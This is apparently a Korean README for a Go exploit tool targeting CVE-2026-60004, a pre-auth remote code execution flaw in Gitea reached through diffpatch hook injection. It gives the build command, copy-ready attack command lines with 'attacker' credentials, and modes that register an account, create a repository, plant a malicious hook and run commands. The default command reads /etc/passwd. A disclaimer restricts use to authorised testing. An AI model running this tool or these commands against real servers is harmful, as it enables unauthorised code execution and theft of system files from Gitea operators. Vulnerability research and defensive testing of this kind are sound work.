
CVE-2026-60004 — diffpatch 후크 주입을 통한 Gitea 사전 인증 RCE
이 저장소에는 diffpatch 후크 삽입 기법을 통해 특정 Gitea 버전에 영향을 미치는 인증 또는 사전 인증 원격 코드 실행(RCE) 벡터인 CVE-2026-60004에 대한 개념 증명 도구가 포함되어 있습니다. 주요 구현은 탐지 및 악용 흐름을 수행하는 단일 Go 프로그램입니다.
이 PoC는 원격 시스템을 손상시킬 수 있는 악용 기법을 시연합니다. 연구, 테스트 및 방어 목적으로만 제공됩니다. 소유하지 않았거나 테스트할 명시적 권한이 없는 시스템에 이 도구를 실행하지 마십시오. 작성자와 기여자는 오용에 대해 책임을 지지 않습니다.
저장소 루트에서 다음을 실행하십시오:
go build -o cve-2026-60004-poc cve-2026-60004-poc.go
컴파일된 바이너리는 full-auto, semi-auto, manual, check의 여러 모드를 지원합니다.


./cve-2026-60004-poc --url http://target:3000 --mode check
./cve-2026-60004-poc --url http://target:3000 --mode full-auto
./cve-2026-60004-poc --url http://target:3000 --mode semi-auto --user attacker --pw 'P@ssw0rd'
./cve-2026-60004-poc --url http://target:3000 --mode manual --user attacker --pw 'P@ssw0rd' --repo myrepo
./cve-2026-60004-poc --url http://target:3000 --mode manual --user attacker --pw 'P@ssw0rd' --repo myrepo --cmd "whoami; id"
--url (필수) : 대상 Gitea 기본 URL (예: http://10.0.0.1:3000)--mode : full-auto | semi-auto | manual | check (기본값: full-auto)--user, --pw : semi-auto/manual 모드용 자격 증명--repo : 저장소 이름 (manual 모드용)--branch : 브랜치 이름 (기본값: main)--cmd : 대상에서 실행할 명령 (기본값: cat /etc/passwd)check 모드는 Gitea를 탐지하고 diffpatch 엔드포인트의 존재를 확인하기 위해 비침습적 검사를 실행합니다.full-auto는 새 사용자 등록(공개 등록 필요), 저장소 생성, 악성 diffpatch 페이로드 전달, 주입된 후크에서 출력 검색을 시도합니다.semi-auto는 제공된 자격 증명을 사용하여 저장소를 생성하고 악용 단계를 진행합니다.manual은 기존 사용자와 저장소가 필요하며 악용 전달 및 (선택적으로) 출력 검색만 시도합니다.InsecureSkipVerify를 true로 설정합니다. 프로덕션 코드에서는 이 동작을 사용하지 마십시오./api/v1/version, /user/sign_up, /api/v1/user, /api/v1/user/repos, /api/v1/repos/:owner/:repo/diffpatch입니다.기여는 방어적 개선, 문서화 및 악용과 무관한 수정으로 제한되어야 합니다. 도구를 더 파괴적으로 만드는 수정은 제출하지 마십시오.
이 저장소는 연구 및 방어 목적으로 제공됩니다. 명시적 라이선스는 포함되어 있지 않습니다. 라이선스가 필요하면 하나를 추가하고 의도한 사용과 호환되는지 확인하십시오.
작성자: Gagaltotal666 - GhostGTR666
이 PoC는 취약점을 시연하고 방어자가 취약점을 탐지 및 완화할 수 있도록 돕기 위해 준비되었습니다.
--count : 보낼 diffpatch 요청 수 (최소 2)--simple-hook : 단순 후크 사용 (고급 페이로드 건너뜀)--no-retrieve : 출력 검색 건너뜀--proxy : HTTP 프록시 (예: http://127.0.0.1:8080)--verbose, -v : 상세 출력--quiet, -q : 조용한 모드; 명령 출력만 표시--force : Gitea 검증 검사 건너뜀